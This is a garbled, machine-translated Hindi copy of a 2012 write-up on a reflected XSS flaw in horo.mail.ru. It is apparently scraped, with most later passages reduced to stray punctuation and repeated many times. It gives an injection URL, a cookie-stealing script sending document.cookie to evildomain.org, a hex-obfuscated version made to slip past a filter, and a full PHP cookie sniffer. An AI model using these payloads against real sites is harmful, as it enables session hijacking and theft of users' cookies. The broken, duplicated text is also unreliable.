👩 🛀🏼 🎾 Mail.ru और तैयार कारनामे पर निष्क्रिय XSS 👜 💪🏾 ↩️

करने को कुछ नहीं था, शाम हो चुकी थी।

एक दिन मैं घर पर बैठा था, एक साधारण, निहत्था, वायलिन-स्क्रिप्टेड घर पर, मेरी ठंड के पीछे, लेकिन कोई कम आरामदायक पीसी नहीं था। हाल ही में, उन्होंने मंचों और वेबसाइटों पर विभिन्न रूपों में विभिन्न चरित्र सेटों को एक ही उद्देश्य के लिए एक तरह से या किसी अन्य उद्देश्य से भरा जाना पसंद किया: इनपुट फ़ील्ड के HTML ब्लॉक को नष्ट करना। वह एक अजीब है, उसे लोगों की मदद करने में मज़ा आया। संसाधन प्रशासक को सूचित किया जा रहा है, उसकी मदद के बिना या उसके द्वारा पाए गए भेद्यता को समाप्त किए बिना, ऐसा प्रत्येक मामला उसके लिए एक महाकाव्य जीत था।

लेकिन यह शाम असामान्य थी, क्योंकि वह अगले मंच, या एक निजी साइट पर नहीं गई थी, उसने mail.ru खोला और सोचा, क्यों नहीं?

शुरुआत ...

पीड़ित की पहचान के लिए पहला कदम था

पीड़ित के लिए, "लेडी" और "राशिफल" चुने गए। चयन सिद्धांत था "कौन सा प्रोजेक्ट इसके लिए कम दिलचस्प है?"

कुछ ही समय में "लेडी" को "हॉस्कोस्कोप" पर सेट किया गया। तब मुझे सभी अवसरों के लिए कुंडली के साथ ब्लॉक में दिलचस्पी थी, जो पृष्ठ ताज़ा होने पर बदल गया।

सादे "> टेस्ट डालने के बाद , हम देखते हैं:

शुरुआत के लिए, बुरा नहीं है। अब हम उस फॉर्म डेटा को देखते हैं, जिसमें हम अपना ज्लोडकोड भेजेंगे। पृष्ठ स्रोत खोलें और असुरक्षित डेटा आउटपुट फ़ील्ड के कोड को देखें:

इनपुट फॉर्म कोड:

और इनपुट फ़ील्ड कोड:

हमें यहाँ जो मिलता है, वह ऐसी कड़ी है:
http:\\horo.mail.ru/personal.html?type=prg&so_nm= XSS

पेन परीक्षण

अगला चरण पात्रों को छानने के लिए क्षेत्र की जांच करना है।

लिंक का पालन करें:
http:\\horo.mail.ru/personal.html?type=prg&so_nm= पाठ "> http:\\horo.mail.ru/personal.html?type=prg&so_nm= <a और हम देखते हैं कि बिंदु फ़िल्टर किया जा रहा है

<a टूटे हुए टैग के अवशेष से, एक छोटे कचरा कटर के रूप <a उपयोग किया जाता है। अन्यथा, पिछले टैग को बंद करने वाले मलबे होंगे, जैसे:

हमने निर्धारित किया कि फ़ील्ड बिंदु को फ़िल्टर करती है, अर्थात।

 "><script>alert();<script>

यह काम करेगा, लेकिन
नहीं, क्योंकि हमें जो आउटपुट मिलता है

अस्पष्टकर्ता

हमें पृष्ठ पर एक कोड को निष्पादित करने की आवश्यकता है जो कुकीज़ को स्निफर तक पहुंचाएगा, उदाहरण के लिए:

 img=new Image(); img.src='http://evildomain.org/g/sniff.php?cookie='+document.cookie;

कोड के एक बिंदु को फ़िल्टर करने के लिए, इसे बाधित करना आवश्यक है; इसके लिए, स्क्रिप्ट विभिन्न संसाधनों का उपयोग करते हैं, इस विशेष रूप से, www.javascriptobfuscator.com/default.aspx का उपयोग किया गया था।

हम उसे इनपुट पर सामान्य JS देते हैं:

 img=new Image(); img.src='http://evildomain.org/g/sniff.php?cookie='+document.cookie;

आउटपुट पर, हमें बिना अंक के एक बुरी JS मिल जाती है:

var _0xdfd0=["\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x65\x76\x69\x6C\x64\x6F\x6D\x61\x69\x6E\x2E\x6F\x72\x67\x2F\x67\x2F\x73\x6E\x69\x66\x66\x2E\x70\x68\x70\x3F\x63\x6F\x6F\x6B\x69\x65\x3D","\x63\x6F\x6F\x6B\x69\x65"];img= new Image();img[_0xdfd0[0]]=_0xdfd0[1]+document[_0xdfd0[2]];

हम

XSS, :
http:\\horo.mail.ru/personal.html?type=prg&so_nm= "><a

http://evildomain.org/g/sniff.php , , :
<?php if (isset($_GET['cookie'])) { $text = "New cookie accept from ". $_SERVER['REMOTE_ADDR'] ." at ". date('l jS \of FY h:i:s A'); $text .= "\n".str_repeat("=", 22) . "\n" . $_GET['cookie']."\n".str_repeat("=", 22)."\n"; $file = fopen("./sniff.txt", "a"); fwrite($file, $text); fclose($file); } $date=date("[D|d/m/Y|H:i]"); $ip=getenv("Remote_addr"); $real_ip=getenv("HTTP_X_FORWARDED_FOR"); $otkuda=getenv("HTTP_REFERER"); $browser=getenv("HTTP_USER_AGENT"); $win=getenv("windir"); $uid=implode($argv," "); $fp=fopen("./log.txt","a"); fputs($fp,"$date\t|$uid|\t$ip($real_ip)\t$browser\t$otkuda\t$win\n"); fclose($fp); ?>

.


IE :). , Chrome, XSS.

html , , mail.ru ( FF Opera) :


, , mail.ru, .

mail.ru
29.06.2012: Ticket#2012062921010318
:

.

.
.

.

, .

Mail.ru

, mail.ru .

फ्रेम

XSS, :
http:\\horo.mail.ru/personal.html?type=prg&so_nm= "><a

http://evildomain.org/g/sniff.php , , :
<?php if (isset($_GET['cookie'])) { $text = "New cookie accept from ". $_SERVER['REMOTE_ADDR'] ." at ". date('l jS \of FY h:i:s A'); $text .= "\n".str_repeat("=", 22) . "\n" . $_GET['cookie']."\n".str_repeat("=", 22)."\n"; $file = fopen("./sniff.txt", "a"); fwrite($file, $text); fclose($file); } $date=date("[D|d/m/Y|H:i]"); $ip=getenv("Remote_addr"); $real_ip=getenv("HTTP_X_FORWARDED_FOR"); $otkuda=getenv("HTTP_REFERER"); $browser=getenv("HTTP_USER_AGENT"); $win=getenv("windir"); $uid=implode($argv," "); $fp=fopen("./log.txt","a"); fputs($fp,"$date\t|$uid|\t$ip($real_ip)\t$browser\t$otkuda\t$win\n"); fclose($fp); ?>

.


IE :). , Chrome, XSS.

html , , mail.ru ( FF Opera) :


, , mail.ru, .

mail.ru
29.06.2012: Ticket#2012062921010318
:

.

.
.

.

, .

Mail.ru

, mail.ru .

XSS, :
http:\\horo.mail.ru/personal.html?type=prg&so_nm= "><a

http://evildomain.org/g/sniff.php , , :
<?php if (isset($_GET['cookie'])) { $text = "New cookie accept from ". $_SERVER['REMOTE_ADDR'] ." at ". date('l jS \of FY h:i:s A'); $text .= "\n".str_repeat("=", 22) . "\n" . $_GET['cookie']."\n".str_repeat("=", 22)."\n"; $file = fopen("./sniff.txt", "a"); fwrite($file, $text); fclose($file); } $date=date("[D|d/m/Y|H:i]"); $ip=getenv("Remote_addr"); $real_ip=getenv("HTTP_X_FORWARDED_FOR"); $otkuda=getenv("HTTP_REFERER"); $browser=getenv("HTTP_USER_AGENT"); $win=getenv("windir"); $uid=implode($argv," "); $fp=fopen("./log.txt","a"); fputs($fp,"$date\t|$uid|\t$ip($real_ip)\t$browser\t$otkuda\t$win\n"); fclose($fp); ?>

.


IE :). , Chrome, XSS.

html , , mail.ru ( FF Opera) :


, , mail.ru, .

mail.ru
29.06.2012: Ticket#2012062921010318
:

.

.
.

.

, .

Mail.ru

, mail.ru .

     XSS,   : 
 http:\\horo.mail.ru/personal.html?type=prg&so_nm= "><a 
 
     http://evildomain.org/g/sniff.php  ,      ,    : 
 <?php if (isset($_GET['cookie'])) { $text = "New cookie accept from ". $_SERVER['REMOTE_ADDR'] ." at ". date('l jS \of FY h:i:s A'); $text .= "\n".str_repeat("=", 22) . "\n" . $_GET['cookie']."\n".str_repeat("=", 22)."\n"; $file = fopen("./sniff.txt", "a"); fwrite($file, $text); fclose($file); } $date=date("[D|d/m/Y|H:i]"); $ip=getenv("Remote_addr"); $real_ip=getenv("HTTP_X_FORWARDED_FOR"); $otkuda=getenv("HTTP_REFERER"); $browser=getenv("HTTP_USER_AGENT"); $win=getenv("windir"); $uid=implode($argv," "); $fp=fopen("./log.txt","a"); fputs($fp,"$date\t|$uid|\t$ip($real_ip)\t$browser\t$otkuda\t$win\n"); fclose($fp); ?> 
 
  . 
 
  
          IE     :). ,   Chrome,  XSS. 
 
         html    ,       ,       mail.ru ( FF  Opera)   : 
  
 
     ,    ,       mail.ru,    . 
 
  mail.ru   
       29.06.2012: Ticket#2012062921010318 
   : 
 
 . 
 
     . 
    . 
 
   . 
 
  ,  . 
    
   Mail.ru 
 
       ,    mail.ru    .

XSS, :
http:\\horo.mail.ru/personal.html?type=prg&so_nm= "><a

http://evildomain.org/g/sniff.php , , :
<?php if (isset($_GET['cookie'])) { $text = "New cookie accept from ". $_SERVER['REMOTE_ADDR'] ." at ". date('l jS \of FY h:i:s A'); $text .= "\n".str_repeat("=", 22) . "\n" . $_GET['cookie']."\n".str_repeat("=", 22)."\n"; $file = fopen("./sniff.txt", "a"); fwrite($file, $text); fclose($file); } $date=date("[D|d/m/Y|H:i]"); $ip=getenv("Remote_addr"); $real_ip=getenv("HTTP_X_FORWARDED_FOR"); $otkuda=getenv("HTTP_REFERER"); $browser=getenv("HTTP_USER_AGENT"); $win=getenv("windir"); $uid=implode($argv," "); $fp=fopen("./log.txt","a"); fputs($fp,"$date\t|$uid|\t$ip($real_ip)\t$browser\t$otkuda\t$win\n"); fclose($fp); ?>

.


IE :). , Chrome, XSS.

html , , mail.ru ( FF Opera) :


, , mail.ru, .

mail.ru
29.06.2012: Ticket#2012062921010318
:

.

.
.

.

, .

Mail.ru

, mail.ru .

XSS, : http:\\horo.mail.ru/personal.html?type=prg&so_nm= "><a http://evildomain.org/g/sniff.php , , : <?php if (isset($_GET['cookie'])) { $text = "New cookie accept from ". $_SERVER['REMOTE_ADDR'] ." at ". date('l jS \of FY h:i:s A'); $text .= "\n".str_repeat("=", 22) . "\n" . $_GET['cookie']."\n".str_repeat("=", 22)."\n"; $file = fopen("./sniff.txt", "a"); fwrite($file, $text); fclose($file); } $date=date("[D|d/m/Y|H:i]"); $ip=getenv("Remote_addr"); $real_ip=getenv("HTTP_X_FORWARDED_FOR"); $otkuda=getenv("HTTP_REFERER"); $browser=getenv("HTTP_USER_AGENT"); $win=getenv("windir"); $uid=implode($argv," "); $fp=fopen("./log.txt","a"); fputs($fp,"$date\t|$uid|\t$ip($real_ip)\t$browser\t$otkuda\t$win\n"); fclose($fp); ?> . IE :). , Chrome, XSS. html , , mail.ru ( FF Opera) : , , mail.ru, . mail.ru 29.06.2012: Ticket#2012062921010318 : . . . . , . Mail.ru , mail.ru .

XSS, :
http:\\horo.mail.ru/personal.html?type=prg&so_nm= "><a

http://evildomain.org/g/sniff.php , , :
<?php if (isset($_GET['cookie'])) { $text = "New cookie accept from ". $_SERVER['REMOTE_ADDR'] ." at ". date('l jS \of FY h:i:s A'); $text .= "\n".str_repeat("=", 22) . "\n" . $_GET['cookie']."\n".str_repeat("=", 22)."\n"; $file = fopen("./sniff.txt", "a"); fwrite($file, $text); fclose($file); } $date=date("[D|d/m/Y|H:i]"); $ip=getenv("Remote_addr"); $real_ip=getenv("HTTP_X_FORWARDED_FOR"); $otkuda=getenv("HTTP_REFERER"); $browser=getenv("HTTP_USER_AGENT"); $win=getenv("windir"); $uid=implode($argv," "); $fp=fopen("./log.txt","a"); fputs($fp,"$date\t|$uid|\t$ip($real_ip)\t$browser\t$otkuda\t$win\n"); fclose($fp); ?>

.


IE :). , Chrome, XSS.

html , , mail.ru ( FF Opera) :


, , mail.ru, .

mail.ru
29.06.2012: Ticket#2012062921010318
:

.

.
.

.

, .

Mail.ru

, mail.ru .

XSS, : http:\\horo.mail.ru/personal.html?type=prg&so_nm= "><a http://evildomain.org/g/sniff.php , , : <?php if (isset($_GET['cookie'])) { $text = "New cookie accept from ". $_SERVER['REMOTE_ADDR'] ." at ". date('l jS \of FY h:i:s A'); $text .= "\n".str_repeat("=", 22) . "\n" . $_GET['cookie']."\n".str_repeat("=", 22)."\n"; $file = fopen("./sniff.txt", "a"); fwrite($file, $text); fclose($file); } $date=date("[D|d/m/Y|H:i]"); $ip=getenv("Remote_addr"); $real_ip=getenv("HTTP_X_FORWARDED_FOR"); $otkuda=getenv("HTTP_REFERER"); $browser=getenv("HTTP_USER_AGENT"); $win=getenv("windir"); $uid=implode($argv," "); $fp=fopen("./log.txt","a"); fputs($fp,"$date\t|$uid|\t$ip($real_ip)\t$browser\t$otkuda\t$win\n"); fclose($fp); ?> . IE :). , Chrome, XSS. html , , mail.ru ( FF Opera) : , , mail.ru, . mail.ru 29.06.2012: Ticket#2012062921010318 : . . . . , . Mail.ru , mail.ru .

XSS, :
http:\\horo.mail.ru/personal.html?type=prg&so_nm= "><a

http://evildomain.org/g/sniff.php , , :
<?php if (isset($_GET['cookie'])) { $text = "New cookie accept from ". $_SERVER['REMOTE_ADDR'] ." at ". date('l jS \of FY h:i:s A'); $text .= "\n".str_repeat("=", 22) . "\n" . $_GET['cookie']."\n".str_repeat("=", 22)."\n"; $file = fopen("./sniff.txt", "a"); fwrite($file, $text); fclose($file); } $date=date("[D|d/m/Y|H:i]"); $ip=getenv("Remote_addr"); $real_ip=getenv("HTTP_X_FORWARDED_FOR"); $otkuda=getenv("HTTP_REFERER"); $browser=getenv("HTTP_USER_AGENT"); $win=getenv("windir"); $uid=implode($argv," "); $fp=fopen("./log.txt","a"); fputs($fp,"$date\t|$uid|\t$ip($real_ip)\t$browser\t$otkuda\t$win\n"); fclose($fp); ?>

.


IE :). , Chrome, XSS.

html , , mail.ru ( FF Opera) :


, , mail.ru, .

mail.ru
29.06.2012: Ticket#2012062921010318
:

.

.
.

.

, .

Mail.ru

, mail.ru .

Mail.ru और तैयार कारनामे पर निष्क्रिय XSS

करने को कुछ नहीं था, शाम हो चुकी थी।

शुरुआत ...

पेन परीक्षण

अस्पष्टकर्ता

More articles: